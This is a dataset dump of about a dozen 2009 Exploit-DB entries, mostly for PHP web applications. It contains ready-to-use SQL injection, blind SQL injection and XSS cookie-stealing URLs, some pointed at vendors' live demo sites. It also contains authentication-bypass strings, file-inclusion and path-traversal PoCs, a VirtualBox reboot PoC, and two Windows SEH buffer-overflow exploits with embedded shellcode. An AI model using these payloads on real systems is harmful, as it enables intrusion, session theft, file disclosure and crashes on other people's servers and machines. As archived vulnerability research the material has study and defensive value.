QLWD/code_shield huggingface dataset:
标题: x10 media adult script 1.7 - Multiple Vulnerabilities EDB-ID: 9340 CVE: 2009-4730 2009-4729 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-03 漏洞利用脚本: ###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [Â»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
==============================================================================
        [Â»] x10 Media Adult Script 1.7 Multiple Remote Vulnerabilities
==============================================================================

 [Â»] Script:             [ x10 Media Adult Script 1.7 ]
 [Â»] Language:           [ PHP ]
        [Â»] Download:           [ http://www.x10media.com/media-script  ]
 [Â»] Founder:            [ Moudi <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell ...]
        [Â»] Team:               [ EvilWay ]
        [Â»] Dork:               [ Powered By x10media.com ]
        [Â»] Price:              [ $45.99 USD ]
        [Â»] Site :              [ https://security-shell.ws/forum.php ]

###########################################################################

===[ Exploit + LIVE : SQL INJECTION vulnerability ]===

[Â»] http://www.site.com/patch/report.php?id=[SQL]

[Â»] http://www.x10media.com/adult/report.php?id=null+union+select+version()

===[ Exploit + LIVE : BLIND SQL INJECTION vulnerability ]=== 
 
[Â»] http://www.site.com/patch/report.php?id=[BLIND]

[Â»] http://www.x10media.com/adult/report.php?id=77917 and 1=null+union+select+version()

===[ Exploit XSS + LIVE : vulnerability ]===

[Â»] http://www.site.com/patch/includes/video_ad.php?pic_id=[XSS]
[Â»] http://www.site.com/patch/linkvideos_listing.php?category=[XSS]
[Â»] http://www.site.com/patch/templates/header1.php?id=[XSS]
[Â»] http://www.site.com/patch/video_listing.php?category=[NB]&sort=[NB]&key=[XSS]

[Â»] http://www.x10media.com/adult/includes/video_ad.php?pic_id="><script>alert(document.cookie);</script>
[Â»] http://www.x10media.com/adult/linkvideos_listing.php?category="><script>alert(document.cookie);</script>
[Â»] http://www.x10media.com/adult/templates/header1.php?id="><script>alert(document.cookie);</script>
[Â»] http://www.x10media.com/adult/video_listing.php?category=42&sort=2&key="><script>alert(document.cookie);</script>

Author: Moudi

###########################################################################

# milw0rm.com [2009-08-03] URL: https://www.exploit-db.com/exploits/9340
标题: Miniweb 2.0 Module Survey Pro - Blind SQL Injection / Cross-Site Scripting EDB-ID: 9339 CVE: 2009-4552 2009-4551 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-03 漏洞利用脚本: ###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [Â»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
==============================================================================
        [Â»] Miniweb 2.0 Module Survey Pro (bSQL/XSS) Multiple Remote Vulnerabilities
==============================================================================

 [Â»] Script:             [ Miniweb 2.0 ]
 [Â»] Language:           [ PHP ]
        [Â»] Download:           [ http://www.miniweb2.com/index.php?module=sitebuilder&sitebuilder_id=17  ]
 [Â»] Founder:            [ Moudi <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell ...]
        [Â»] Team:               [ EvilWay ]
        [Â»] Dork:               [ OFF ]
        [Â»] Price:              [ $250.00 ]
        [Â»] Site :              [ https://security-shell.ws/forum.php ]

###########################################################################

===[ Exploit + LIVE : BLIND SQL INJECTION vulnerability ]=== 
 
[Â»] http://www.site.com/patch/index.php?task=results&campaign_id=[BLIND]

[Â»] http://miniweb2.com/moduledemo/surveypro/index.php?task=results&campaign_id=1 and 1=1 <= TRUE
[Â»] http://miniweb2.com/moduledemo/surveypro/index.php?task=results&campaign_id=1 and 1=2 <= FALSE

===[ Exploit XSS + LIVE : vulnerability ]===

[Â»] http://www.site.com/patch/index.php/[XSS]

[Â»] http://miniweb2.com/moduledemo/surveypro/index.php/"><script>alert(document.cookie);</script>

Note: have some other XSS on index.php ..

Author: Moudi

###########################################################################

# milw0rm.com [2009-08-03] URL: https://www.exploit-db.com/exploits/9339
标题: Ajax Short URL Script - Authentication Bypass EDB-ID: 9332 CVE: 2009-4727 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-03 漏洞利用脚本: [-] Discovered By: Cicklow
[-] Date: 03.08.2009

Exploit:

username: [real_admin_name] ' or ' 1=1
password: cicklow

note: generally admin name: admin
or any user

Buy Script: http://junglescripts.com/short_urls.php
Admin login Demo: http://href.in/x/login

# milw0rm.com [2009-08-03] URL: https://www.exploit-db.com/exploits/9332
标题: Miniweb 2.0 Module Publisher - Blind SQL Injection / Cross-Site Scripting EDB-ID: 9338 CVE: 2009-3420 2009-3419 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-03 漏洞利用脚本: ###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [Â»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
==============================================================================
        [Â»] Miniweb 2.0 Module Publisher (bSQL/XSS) Multiple Remote Vulnerabilities
==============================================================================

 [Â»] Script:             [ Miniweb 2.0 ]
 [Â»] Language:           [ PHP ]
        [Â»] Download:           [ http://www.miniweb2.com/index.php?module=sitebuilder&sitebuilder_id=17  ]
 [Â»] Founder:            [ Moudi <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell ...]
        [Â»] Team:               [ EvilWay ]
        [Â»] Dork:               [ OFF ]
        [Â»] Price:              [ $250.00 ]
        [Â»] Site :              [ https://security-shell.ws/forum.php ]

###########################################################################

===[ Exploit + LIVE : BLIND SQL INJECTION vulnerability ]=== 
 
[Â»] http://www.site.com/patch/index.php?historyyear=2009&historymonth=[BLIND]

[Â»] http://miniweb2.com/moduledemo/publisher/index.php?historyyear=2009&historymonth=02 and 1=1 <= TRUE
[Â»] http://miniweb2.com/moduledemo/publisher/index.php?historyyear=2009&historymonth=02 and 1=2 <= FALSE

===[ Exploit XSS + LIVE : vulnerability ]===

[Â»] http://www.site.com/patch/index.php/[XSS]
[Â»] http://www.site.com/patch/index.php?loginaction=1&begin=[XSS]

[Â»] http://miniweb2.com/moduledemo/publisher/index.php/"><script>alert(document.cookie);</script>
[Â»] http://miniweb2.com/moduledemo/publisher/index.php?loginaction=1&begin="><script>alert(document.cookie);</script>

Note: have some other XSS on index.php ..

Author: Moudi

###########################################################################

# milw0rm.com [2009-08-03] URL: https://www.exploit-db.com/exploits/9338
标题: simplePHPWeb 0.2 - 'files.php' Authentication Bypass EDB-ID: 9337 CVE: 2009-3158 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-03 漏洞利用脚本: ##################################################################
[+] simplePHPWeb 0.2 Authentication Bypass Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
[+] download : http://sourceforge.net/projects/simplephpweb/files/simplephpweb/simplephpweb-v0.2/simplephpweb-v0.2.zip/download
##################################################################

[+] Authentication Bypass Vulnerability

 - No login required to access admin panel

 - PoC

   http://127.0.0.1/[path]/admin/files.php

##################################################################

# milw0rm.com [2009-08-03] URL: https://www.exploit-db.com/exploits/9337
标题: TT Web Site Manager 0.5 - Authentication Bypass EDB-ID: 9335 CVE: 2009-4732 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-03 漏洞利用脚本: #########################################################################
[+] TT Web Site Manager 0.5 (Auth Bypass) SQL Injection Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
#########################################################################

[+] Homepage  : http://www.technotoad.com/

[+] Auth Bypass

 - Go to

     http://127.0.0.1/tt/

 - PoC

     Username : admin ' or' 1=1
     Password : anything

#########################################################################

# milw0rm.com [2009-08-03] URL: https://www.exploit-db.com/exploits/9335
标题: Netpet CMS 1.9 - 'confirm.php?language' Local File Inclusion EDB-ID: 9333 CVE: 2009-4723 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-03 漏洞利用脚本: ############################################################################################
[+] Netpet CMS 1.9 (confirm.php language) Local File Inclusion Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
############################################################################################

[+] Download : http://www.netpet.at/en/downloads

[+] Local File Inclusion

  - Vulnerable code in netpet/confirm.php

------------------------------------------------------------------------
$selLang = $_GET['language'];
if($selLang!=""){
 include $netpetfolder."netpet/languages/".$selLang.".lang.php";
------------------------------------------------------------------------

  - PoC

   http://127.0.0.1/[path]/netpet/confirm.php?language=../../../../../../../boot.ini%00

############################################################################################

# milw0rm.com [2009-08-03] URL: https://www.exploit-db.com/exploits/9333
标题: BlazeDVD 5.1 Professional - '.plf' Local Buffer Overflow (SEH) EDB-ID: 9329 CVE: 2006-6199 类型: LOCAL 平台: WINDOWS 发布日期: 2009-08-03 漏洞利用脚本: #!/usr/bin/perl
# by hack4love
# hack4love@hotmail.com
# BlazeDVD 5.1 Professional (.PLF File) Local Buffer Overflow Exploit (SEH)
# ## easy ##
###Thanks for SkuLL-HacKeR ####and all WwW.Sec-ArT.CoM/cc team
##AND special THANKS FOR EL7ADRANY ##AND 3ASFH TEAM##
## this work sooooooooo good
## Tested on: Windows XP Pro SP2 (EN)
##################################################################
my $bof="\x41" x 608;
my $nsh="\xEB\x06\x90\x90";
my $seh="\xb8\x15\xd1\x72";
my $nop="\x90" x 20;
my $sec=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
print $bof.$nsh.$seh.$nop.$sec;
###################################################################
open(myfile,'>> HACK4LOVE.PLF');
print myfile $bof.$nsh.$seh.$nop.$sec;
###################################################################

# milw0rm.com [2009-08-03] URL: https://www.exploit-db.com/exploits/9329
标题: Amaya 11.2 - W3C Editor/Browser (defer) Remote Buffer Overflow (SEH) EDB-ID: 9330 CVE: 2009-1209 类型: REMOTE 平台: WINDOWS 发布日期: 2009-08-03 漏洞利用脚本: #!/usr/bin/python
# _  _   _         __    _     _ _  
#| || | (_)  ___  /  \  | |__ | | | 
#| __ | | | (_-< | () | | / / |_  _|
#|_||_| |_| /__/  \__/  |_\_\   |_| 
#
#[+] Bug :  Amaya 11.2 W3C Editor/Browser (defer) Remote BOF Exploit (SEH)
#[+] Tested on : Xp sp3 (en) under (vb)
#[+] Refer :   http://www.milw0rm.com/exploits/8314
#[+] Exploit :   His0k4
#[+] Greetz :   All friends (DZ)

#[x] Note : The html file must be browsed from a webserver

#win32_exec calc encoded with alpha2=>374 bytes.
shellcode = (
"JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI"
"TiKyosYyyN8YzN9IT4utL4SkoqRSwcUOJKKJ7rMSzKKLIrkDysv"
"cONtBUOjKrQCwEscPlFEWcWJJVuk9pPkCPqqMeokZTQPKLTkoQa"
"ws8qYJFZmKLsbOVZBVvxEzfPdOwnQ921l6Q4OOyN362JfnrQSmU"
"kkZr1e4OdhgnQLISp9gkKZIntL7qa5Sl4QroV5vUKDhxKyR3KSP"
"MjTrMJvKnbVnlTLkKFOyPozWf7NiqgXcTQVkMDbKqZtBuOXkT1p"
"jusNTJkL4cOMmPszZmLtkmQsbRWUKppS6SpMSQrilNum5nMYmL8"
"k8ok2NSLjKkJ32WzA")

payload =  "<script defer=\""
payload += "\x41"*6914  #change this value if needed
payload += "\x74\x06\x41\x41" #short jump
payload += "\x50\x1A\x03\x10" #pop pop ret somewhere
payload += "\x61"*13 # popad
payload += "\x52\xC3" # push edx,retn C3 not mangled ouf!
payload += "\x44"*668 # padding
payload += shellcode
payload += "\x45"*5000 # result
payload += "\">"

try:
    out_file = open("exploit.html","w")
    out_file.write(payload)
    out_file.close()
    print("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-08-03] URL: https://www.exploit-db.com/exploits/9330
标题: SimpleLoginSys 0.5 - Authentication Bypass EDB-ID: 9336 CVE: 2009-4733 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-03 漏洞利用脚本: ####################################################################################
[+] SimpleLoginSys v0.5 (Auth Bypass) SQL Injection Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
[+] download : http://sourceforge.net/projects/simplesiteadmin/files/simpleloginsys/SimpleLoginSys%20v0.5/simpleloginsys0.5.zip/download

####################################################################################

[+] SQL Injection (Auth Bypass)

 - Note : magic_quotes_gpc = off

 - PoC

    Username : [REAL_NICKNAME] ' or ' 1=1
    Password : anything

####################################################################################

# milw0rm.com [2009-08-03] URL: https://www.exploit-db.com/exploits/9336
标题: elvin bts 1.2.2 - SQL Injection / Cross-Site Scripting EDB-ID: 9342 CVE: 2009-2920 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-03 漏洞利用脚本: _00000__00000__00000__00000__0___0__00000____0___0___000___0___0_
_0______0___0__0___0__0______00_00__0________00_00__0___0__00_00_
_0000___00000__00000__00000__0_0_0__00000____0_0_0__0___0__0_0_0_
_____0______0______0__0______0___0__0________0___0__00000__0___0_
_0000___00000__00000__00000__0___0__00000____0___0__0___0__0___0_
_________________________________________________________________



# [+] Elvin BTS 1.2.2 (SQL/XSS) Multiple Remote Vulnerabilities
# [+] Software : Elvin BTS
# [+] Author : 599eme Man
# [+] Contact : Flouf@live.fr
# [+] Thanks : Moudi, Neocoderz, Sheiry, Shimik Root aka Str0zen, Pr0H4ck3rz, Staker, Security-shell...
# [+] Special : Moudi my Brozazaaaaaaaaaaaa
# [+] Download : http://www.elvinbts.org/?Download
#
#[------------------------------------------------------------------------------------]
# 
# [+] Vulnerabilities
#
# [+] SQL
#
#  - http://www.site.com/show_activity.php?id=null+union+select+1,2,3,4,5,version(),7,8--
#  
#   [+] Demo
#
#    - http://landfill.elvinbts.org/show_activity.php?id=null+union+select+1,2,3,4,5,version(),7,8--
#
# [+] XSS
#
#  - http://www.site.com/buglist.php?component=[XSS/IFRAME/REDIRECTION]
#
#  - http://www.site.com/buglist.php?priority=[XSS/IFRAME/REDIRECTION]
#
#  - http://www.site.com/createaccount.php => Username : "'><script>alert('xss')</script>
#        => E-mail : "'><script>alert('xss')</script>
#        => Pass : "'><script>alert('xss')</script>
#        => Confirm pass : "'><script>alert('xss')</script>
#
#   [+] Demo
#
#    - http://landfill.elvinbts.org/buglist.php?component=%22%27%3E%3Cscript%3Ealert(%27xss%27)%3C/script%3E
#
#     - http://landfill.elvinbts.org/buglist.php?priority=%22%27%3E%3Cscript%3Ealert(%27xss%27)%3C/script%3E
#
#    - http://landfill.elvinbts.org/createaccount.php
#
#
#
#[------------------------------------------------------------------------------------]
#
#########################################################################################################

# milw0rm.com [2009-08-03] URL: https://www.exploit-db.com/exploits/9342
标题: QuickDev 4 - 'download.php' File Disclosure EDB-ID: 9334 CVE: 2009-4726 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-03 漏洞利用脚本: #####################################################################################
[+] QuickDev 4 Php (download.php file) Arbitrary File Download
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
#####################################################################################

[+] Download : http://sourceforge.net/projects/quickdev4php/files/

[+] Arbitrary File Download

 - Vulnerable code in download.php

--------------------------------------------------------------------------

$file = $_SERVER["DOCUMENT_ROOT"]. $_REQUEST['file'];
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");

header("Content-Type: application/force-download");
header( "Content-Disposition: attachment; filename=".basename($file));

//header( "Content-Description: File Transfer");
@readfile($file);
die();

--------------------------------------------------------------------------

 - PoC

   http://127.0.0.1/download.php?file=../../../../../../boot.ini

#####################################################################################

# milw0rm.com [2009-08-03] URL: https://www.exploit-db.com/exploits/9334
标题: ProjectButler 1.5.0 - 'pda_projects.php?offset' Remote File Inclusion EDB-ID: 9331 CVE: 2009-2791 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-03 漏洞利用脚本: #projectbutler - 1.5.0 (offset) RFI Vulnerability

#Author: cr4wl3r

#Contact: cr4wl3r[4t]linuxmail[dot]org

#Download: http://sourceforge.net/projects/projectbutler/files/projectbutler/1.5.0/ProjectButler.tar.gz

#Vuln : require_once($offset."class.project.inc");

#PoC :

http://localhost/[path]/pda/pda_projects.php?offset=[AvriLhea]

#Greetz : MyMom [alm]

#Special To : |CyberSufi| |CyberPeaCe| |AgenR@t| |Ea.ngel| |bl4ck.3n91n3| |Hmei7| |Dew0| |Anjas.chu'X| |Ridwan|              

              |Funky_sensey| |zvtral| |Is.bl4nk| |Y0ps.512mb| |Clif| |HaKu Frisca| |All cRew GoRonTaLo UnDeRgounD|
              |SunKetzu AbbaSSia| |iY0ng| |MaTr0| |deviln3t| |RyO| RaIs R0yaS| |Vel!x| |AnaK2 BolMonG| |MarLoN|

# milw0rm.com [2009-08-03] URL: https://www.exploit-db.com/exploits/9331
标题: AW BannerAd - Authentication Bypass EDB-ID: 9328 CVE: 2009-4721 类型: WEBAPPS 平台: ASP 发布日期: 2009-08-03 漏洞利用脚本: AW-BannerAd Login ByPass By JxE-13 [ Ro0T-MaFia ]

Sistema : AW-BannerAd,Asp Scripts
Archivo : adv/admin/index.asp
User&Pass:' or 'x'='x :' or 'x'='x 

# milw0rm.com [2009-08-03] URL: https://www.exploit-db.com/exploits/9328
标题: Sun xVM VirtualBox 2.2 < 3.0.2 r49928 - Local Host Reboot (Denial of Service) (PoC) EDB-ID: 9323 CVE: 2009-2715 类型: DOS 平台: MULTIPLE 发布日期: 2009-08-01 漏洞利用脚本: Sun's VirtualBox host reboot PoC
by Tadas Vilkeliskis <vilkeliskis.t@gmail.com>
Disclosure made at 2009-08-01

VULNERABILITY INFORMATION

Remotely exploitable: no
Locally exploitable: yes
Affected versions: 2.2 - 3.0.2 r49928 for Linux

VULNERABILITY DESCRIPTION

VirtualBox VM is unable to handle fast call to privilege level 0 system
procedures (sysenter). If sysenter instruction is executed on the guest
OS the host machine will reboot. The technique was tested on the
following guest OS: Windows XP, Windows 7 RC, Ubuntu 9.04. It is not
clear whether it is possible to execute arbitrary code on the host,
however this trick can be successfully used by malware as an anti-vm
trick.

POC

; nasm -f elf vmhostreboot.asm
; gcc vmhostreboot.o -o vmhostreboot

BITS 32
SECTION .text
GLOBAL main

main:
    sysenter
    ret

# milw0rm.com [2009-08-01] URL: https://www.exploit-db.com/exploits/9323